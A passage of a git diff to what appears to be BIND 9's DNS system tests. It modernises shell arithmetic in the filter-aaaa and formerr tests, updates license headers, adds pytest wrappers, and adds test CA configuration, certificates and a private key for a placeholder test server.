 grep "flags:.*ad.*QUERY" dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that NODATA/NOERROR is returned when both AAAA and A records exist, unsigned and DO set, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned +dnssec -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
@@ -1297,18 +1301,18 @@ grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns3.test$n > /dev/null && ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A records exist and query source does not match acl, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, signed and qtype=ANY with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
@@ -1316,9 +1320,9 @@ grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns3.test$n > /dev/null || ret=1
 grep "::3" dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned and qtype=ANY with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
@@ -1326,9 +1330,9 @@ grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns3.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, signed, qtype=ANY and DO is set with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.signed +dnssec -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
@@ -1336,9 +1340,9 @@ grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "1.0.0.3" dig.out.ns3.test$n > /dev/null || ret=1
 grep ::3 dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that A and not AAAA is returned when both AAAA and A records exist, unsigned, qtype=ANY and DO is set with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned +dnssec -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
@@ -1346,9 +1350,9 @@ grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "1.0.0.6" dig.out.ns3.test$n > /dev/null || ret=1
 grep "::6" dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that both A and AAAA are returned when both AAAA and A records exist, qtype=ANY and query source does not match acl, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS any dual.unsigned -b fd92:7065:b8e:ffff::1 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
@@ -1356,61 +1360,61 @@ grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep 1.0.0.6 dig.out.ns3.test$n > /dev/null || ret=1
 grep ::6 dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is returned when both AAAA and A record exists, unsigned over IPv4, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS aaaa dual.unsigned -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep 2001:db8::6 dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=NS, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec ns unsigned -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
 grep AAAA dig.out.ns3.test$n > /dev/null 2>&1 && ret=1
 grep "ADDITIONAL: 2" dig.out.ns3.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=MX, unsigned, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns3.test$n > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is omitted from additional section, qtype=MX, signed, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx signed -b fd92:7065:b8e:ffff::3 @fd92:7065:b8e:ffff::3 > dig.out.ns3.test$n || ret=1
 grep "flags:.*ad.*QUERY" dig.out.ns3.test$n > /dev/null || ret=1
 grep "^mx.signed.*AAAA" dig.out.ns3.test$n > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that AAAA is included in additional section, qtype=MX, unsigned, over IPv4, recursive with break-dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +add +dnssec mx unsigned -b 10.53.0.3 @10.53.0.3 > dig.out.ns3.test$n || ret=1
 grep "^mx.unsigned.*AAAA" dig.out.ns3.test$n > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # We don't check for the AAAA record here as configuration in ns5 does
 # not make sense.  The AAAA record is wanted by filter-aaaa but discarded
 # by the dns64 configuration. We just want to ensure the server stays
 # running.
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking filter-aaaa with dns64 ($n)"
 ret=0
 $DIG $DIGOPTS aaaa aaaa-only.unsigned @10.53.0.5 > dig.out.ns5.test$n || ret=1
 grep "status: NOERROR" dig.out.ns5.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/filter-aaaa/tests_sh_filter_aaaa.py b/bin/tests/system/filter-aaaa/tests_sh_filter_aaaa.py
new file mode 100644
index 0000000000..bc6a90df73
--- /dev/null
+++ b/bin/tests/system/filter-aaaa/tests_sh_filter_aaaa.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_filter_aaaa(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/formerr/clean.sh b/bin/tests/system/formerr/clean.sh
index ce71d3abdd..05d08a7925 100644
--- a/bin/tests/system/formerr/clean.sh
+++ b/bin/tests/system/formerr/clean.sh
@@ -1,15 +1,19 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-rm -f nametoolong.out 
-rm -f twoquestions.out 
-rm -f noquestions.out 
+rm -f nametoolong.out
+rm -f twoquestions.out
+rm -f noquestions.out
 rm -f ns*/named.conf
 rm -f ns*/named.lock
 rm -f ns*/named.run
diff --git a/bin/tests/system/formerr/formerr.pl b/bin/tests/system/formerr/formerr.pl
index 7382af04e0..fd7d298a9d 100644
--- a/bin/tests/system/formerr/formerr.pl
+++ b/bin/tests/system/formerr/formerr.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,7 +16,7 @@
 # the standard input, in the form of a series of bytes in hexadecimal.
 # Whitespace is ignored, as is anything following a '#' symbol.
 #
-# For example, the following input would generate normal query for 
+# For example, the following input would generate normal query for
 # isc.org/NS/IN":
 #
 #     # QID:
diff --git a/bin/tests/system/formerr/ns1/named.conf.in b/bin/tests/system/formerr/ns1/named.conf.in
index 6a8604fd16..1334c85cf2 100644
--- a/bin/tests/system/formerr/ns1/named.conf.in
+++ b/bin/tests/system/formerr/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/formerr/ns1/root.db b/bin/tests/system/formerr/ns1/root.db
index 9515924d38..f4d4c69698 100644
--- a/bin/tests/system/formerr/ns1/root.db
+++ b/bin/tests/system/formerr/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/formerr/setup.sh b/bin/tests/system/formerr/setup.sh
index 110e0e3446..82240a7c1b 100644
--- a/bin/tests/system/formerr/setup.sh
+++ b/bin/tests/system/formerr/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/formerr/tests.sh b/bin/tests/system/formerr/tests.sh
index 4077f2393c..75f4cc0b64 100644
--- a/bin/tests/system/formerr/tests.sh
+++ b/bin/tests/system/formerr/tests.sh
@@ -1,42 +1,46 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
 
 echo_i "test name too long"
 $PERL formerr.pl -a 10.53.0.1 -p ${PORT} nametoolong > nametoolong.out
-ans=`grep got: nametoolong.out`
+ans=$(grep got: nametoolong.out)
 if [ "${ans}" != "got: 000080010000000000000000" ];
 then
-	echo_i "failed"; status=`expr $status + 1`;
+	echo_i "failed"; status=$((status + 1));
 fi
 
 echo_i "two questions"
 $PERL formerr.pl -a 10.53.0.1 -p ${PORT} twoquestions > twoquestions.out
-ans=`grep got: twoquestions.out`
+ans=$(grep got: twoquestions.out)
 if [ "${ans}" != "got: 000080010000000000000000" ];
 then
-	echo_i "failed"; status=`expr $status + 1`;
+	echo_i "failed"; status=$((status + 1));
 fi
 
 # this would be NOERROR if it included a COOKIE option,
 # but is a FORMERR without one.
 echo_i "empty question section (and no COOKIE option)"
 $PERL formerr.pl -a 10.53.0.1 -p ${PORT} noquestions > noquestions.out
-ans=`grep got: noquestions.out`
+ans=$(grep got: noquestions.out)
 if [ "${ans}" != "got: 000080010000000000000000" ];
 then
-	echo_i "failed"; status=`expr $status + 1`;
+	echo_i "failed"; status=$((status + 1));
 fi
 
 echo_i "exit status: $status"
diff --git a/bin/tests/system/formerr/tests_sh_formerr.py b/bin/tests/system/formerr/tests_sh_formerr.py
new file mode 100644
index 0000000000..73638561fb
--- /dev/null
+++ b/bin/tests/system/formerr/tests_sh_formerr.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_formerr(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/forward/.gitignore b/bin/tests/system/forward/.gitignore
new file mode 100644
index 0000000000..df5fe68d5d
--- /dev/null
+++ b/bin/tests/system/forward/.gitignore
@@ -0,0 +1,5 @@
+# temporary files generated by "openssl ca"
+/CA/*.old
+# there is little point in keeping the certificate requests
+# for the issued certificates
+/CA/certs/*.csr
diff --git a/bin/tests/system/forward/CA/CA.cfg b/bin/tests/system/forward/CA/CA.cfg
new file mode 100644
index 0000000000..369e43a6d4
--- /dev/null
+++ b/bin/tests/system/forward/CA/CA.cfg
@@ -0,0 +1,77 @@
+# See ../../doth/CA/ca.cfg for more information
+
+# certificate authority configuration
+[ca]
+default_ca      = CA_default               # The default ca section
+
+[CA_default]
+dir            = .
+new_certs_dir  = $dir/newcerts         # new certs dir (must be created)
+certificate    = $dir/CA.pem           # The CA cert
+private_key    = $dir/private/CA.key   # CA private key
+
+serial         = $dir/serial           # serial number file for the next certificate
+                                       # Update before issuing it:
+                                       # xxd -l 8 -u -ps /dev/urandom > ./serial
+database = $dir/index.txt                 # (must be created manually: touch ./index.txt)
+
+default_days   = 10950                 # how long to certify for
+
+#default_crl_days = 30                 # the number of days before the
+default_crl_days = 10950               # next CRL is due. That is the
+                                       # days from now to place in the
+                                       # CRL nextUpdate field.  If CRL
+                                       # is expired, certificate
+                                       # verifications will fail even
+                                       # for otherwise valid
+                                       # certificates. Clients might
+                                       # cache the CRL, so the expiry
+                                       # period should normally be
+                                       # relatively short (default:
+                                       # 30) for production CAs.
+
+default_md     = sha256                # digest to use
+
+policy         = policy_default        # default policy
+email_in_dn    = no                    # Don't add the email into cert DN
+
+name_opt       = ca_default            # Subject name display option
+cert_opt       = ca_default            # Certificate display option
+
+# We need the following in order to copy Subject Alt Name(s) from a
+# request to the certificate.
+copy_extensions = copy                 # copy extensions from request
+
+[policy_default]
+countryName            = optional
+stateOrProvinceName    = optional
+organizationalUnitName = optional
+commonName             = supplied
+emailAddress           = optional
+
+# default certificate requests settings
+[req]
+# Options for the `req` tool (`man req`).
+default_bits        = 3072 # for RSA only
+distinguished_name  = req_default
+string_mask         = utf8only
+# SHA-1 is deprecated, so use SHA-256 instead.
+default_md          = sha256
+# do not encrypt the private key file
+encrypt_key         = no
+
+[req_default]
+# See <https://en.wikipedia.org/wiki/Certificate_signing_request>.
+countryName                     = Country Name (2 letter code)
+stateOrProvinceName             = State or Province Name (full name)
+localityName                    = Locality Name (e.g., city)
+0.organizationName              = Organization Name (e.g., company)
+organizationalUnitName          = Organizational Unit Name (e.g. department)
+commonName                      = Common Name (e.g. server FQDN or YOUR name)
+emailAddress                    = Email Address
+# defaults
+countryName_default                     = UA
+stateOrProvinceName_default             = Kharkiv Oblast
+localityName_default                    = Kharkiv
+0.organizationName_default              = ISC
+organizationalUnitName_default          = Software Engeneering (BIND 9)
diff --git a/bin/tests/system/forward/CA/CA.pem b/bin/tests/system/forward/CA/CA.pem
new file mode 100644
index 0000000000..1f725dbb8a
--- /dev/null
+++ b/bin/tests/system/forward/CA/CA.pem
@@ -0,0 +1,29 @@
+-----BEGIN CERTIFICATE-----
+MIIE3TCCA0WgAwIBAgIUeZPKrvbGEBZaRc2jNczlIsJXyPYwDQYJKoZIhvcNAQEL
+BQAwfTELMAkGA1UEBhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4G
+A1UEBwwHS2hhcmtpdjEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0
+aXVtMRwwGgYDVQQDDBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDEyNDEyNDA1
+NFoYDzIwNTIwMTE3MTI0MDU0WjB9MQswCQYDVQQGEwJVQTEYMBYGA1UECAwPS2hh
+cmtpdiBPYmxhc3QnMRAwDgYDVQQHDAdLaGFya2l2MSQwIgYDVQQKDBtJbnRlcm5l
+dCBTeXN0ZW1zIENvbnNvcnRpdW0xHDAaBgNVBAMME2NhLnRlc3QuZXhhbXBsZS5j
+b20wggGiMA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQCi6hEegBzpUKbE1NTo
+Z7uz7EMUY7TBckkiw/7ydTLKNa8YI4JpBguFvWQsDY0dGFJIoVwyHyNx3seW/LoI
+B5zWPZ2xbOvLLceA+t2NZpbc98E7jUOVS123yED+nqlfZjCq9Zt0r/ezwnQtjnFF
+ko1mcU4H9Jvg8aIgnU2AxE78zciU9CY8799pFFNThIjbooI8oVbfjbzbpmLzxjA5
+3rDmZBTh+ySTlMa2U2oT4WPjRltZWnJVegRRLpG95GnTbQ1fkJAbj1Iu10XTkCee
+wBOqaA1UJem0a6pby5odE414Y7c0ETKcmaJtYENQyO0IJwZWDKtVe5OTIAklakia
+eyFTCAw1h5tHCYLaJW/Yu2wlLl5RNQcRZ9+cWXnldTY+TI1iBjfmADjLdKJYUlhX
+z7kWJtTi63Sdv6WYcEXxaWpxT+R3e2kaR/R7GOo4gdkWpX1siGlRteHHH2/36CSQ
+ZD2etcTUpGW+KDHFR4grnEfL1rt9UgvCjpa4KcssmZtWSSUCAwEAAaNTMFEwHQYD
+VR0OBBYEFHyJ6Fzr5R9ySATFj/uSCJz1YCY5MB8GA1UdIwQYMBaAFHyJ6Fzr5R9y
+SATFj/uSCJz1YCY5MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggGB
+AF3y0hvzyZWtmuG1JwIcOcc1aPl1KdRy8bao/5iHYGYYrsdDgcO5/e+y9S/izalc
+TdW7SKB5iBOCiE8fBNtToCvGP+fxNxHijpAmTr37G5sWuSo1T1VYFizHWL+df/Ig
+TcSvDrEjSnAwaEdNJUWtjoIC4VzNKTLtZf16QIATTzTZa3bfgSetpWS7LhLQbHod
+CSGI2QB1LRbqGC+a1Y85QxHv81jWzPWPzXYvnOLrDdQyBMOBcxDzrN4b6zg+5Itz
+qGYt+IS71jAH0IhxAyD/U5n1jGJv02BnSq0ynLEOD6gsnZjqAwPbt/PM9pGbtbXO
+70Q9rxr+vQc1IISKAEiH3txaEPi10wU98d6LbInJvQrmgHo/ntet8skWNYuxlEzS
+wvynuE9KvvQtOTodWt5AePtKrhHdxu527a4CHVp59nYUjKSdMKjvmhMRXM1cNjFE
+rA/pyyhozR47w3RzHMJVHw2GJ2B/HeqmxpXr1CmJjoRP38QCR7N+mqiZy85Fq2j2
+8Q==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/forward/CA/README b/bin/tests/system/forward/CA/README
new file mode 100644
index 0000000000..13069ca2f8
--- /dev/null
+++ b/bin/tests/system/forward/CA/README
@@ -0,0 +1,2 @@
+Please take a look at the contents of the CA.cfg file for further
+instructions and configurations options.
diff --git a/bin/tests/system/forward/CA/certs/srv02.crt01.example.nil.key b/bin/tests/system/forward/CA/certs/srv02.crt01.example.nil.key
new file mode 100644
index 0000000000..03e7e99c13
--- /dev/null
+++ b/bin/tests/system/forward/CA/certs/srv02.crt01.example.nil.key
@@ -0,0 +1,40 @@
+-----BEGIN PRIVATE KEY-----
+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
+ndTltEnt0w6vtzmImIWupyBm
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/forward/CA/certs/srv02.crt01.example.nil.pem b/bin/tests/system/forward/CA/certs/srv02.crt01.example.nil.pem
new file mode 100644
index 0000000000..ea6030f648
--- /dev/null
+++ b/bin/tests/system/forward/CA/certs/srv02.crt01.example.nil.pem
@@ -0,0 +1,100 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number:
+            cc:c1:18:08:26:32:e1:8b
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Dec  8 11:52:43 2022 GMT
+            Not After : Nov 30 11:52:43 2052 GMT
+        Subject: CN=srv02.crt01.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                Public-Key: (3072 bit)
+                Modulus:
+                    00:93:ea:3a:43:83:ff:92:80:06:be:4e:a0:53:5d:
+                    0b:9d:c9:b1:b8:fe:d5:cc:dc:af:94:7a:ab:ba:13:
+                    0f:c0:b6:99:71:78:90:b1:7f:41:07:85:59:26:90:
+                    14:88:7b:fc:0c:64:70:37:f3:2a:39:80:80:48:4e:
+                    5f:77:74:26:fa:aa:dd:3f:7b:8e:63:b5:a6:ce:bc:
+                    bc:5a:aa:1d:2c:b0:9a:54:8c:03:46:8b:e6:19:52:
+                    51:48:16:2d:88:ac:df:73:bb:5d:86:f5:80:ff:12:
+                    93:d1:53:7f:3b:69:35:56:6d:81:8a:ea:4b:bd:75:
+                    d5:bf:a2:b8:f9:98:17:c7:47:e7:5a:0a:47:a0:00:
+                    3d:5c:77:42:95:ef:60:ea:e2:2c:ab:97:a9:f3:1d:
+                    c7:a7:f9:aa:2f:5d:03:b6:5b:48:87:b4:27:4b:99:
+                    b3:e3:99:f8:cd:bb:51:88:f4:1e:34:d5:3e:e3:12:
+                    3c:2d:c0:b7:2a:9d:0b:73:7f:3a:ad:27:97:17:58:
+                    51:70:08:87:75:42:d2:87:47:67:c0:db:c6:b9:f8:
+                    b0:31:a6:cb:15:24:7b:54:06:fd:92:e6:24:71:3f:
+                    55:02:02:71:f2:47:7f:e5:fe:be:d4:5f:1e:b5:58:
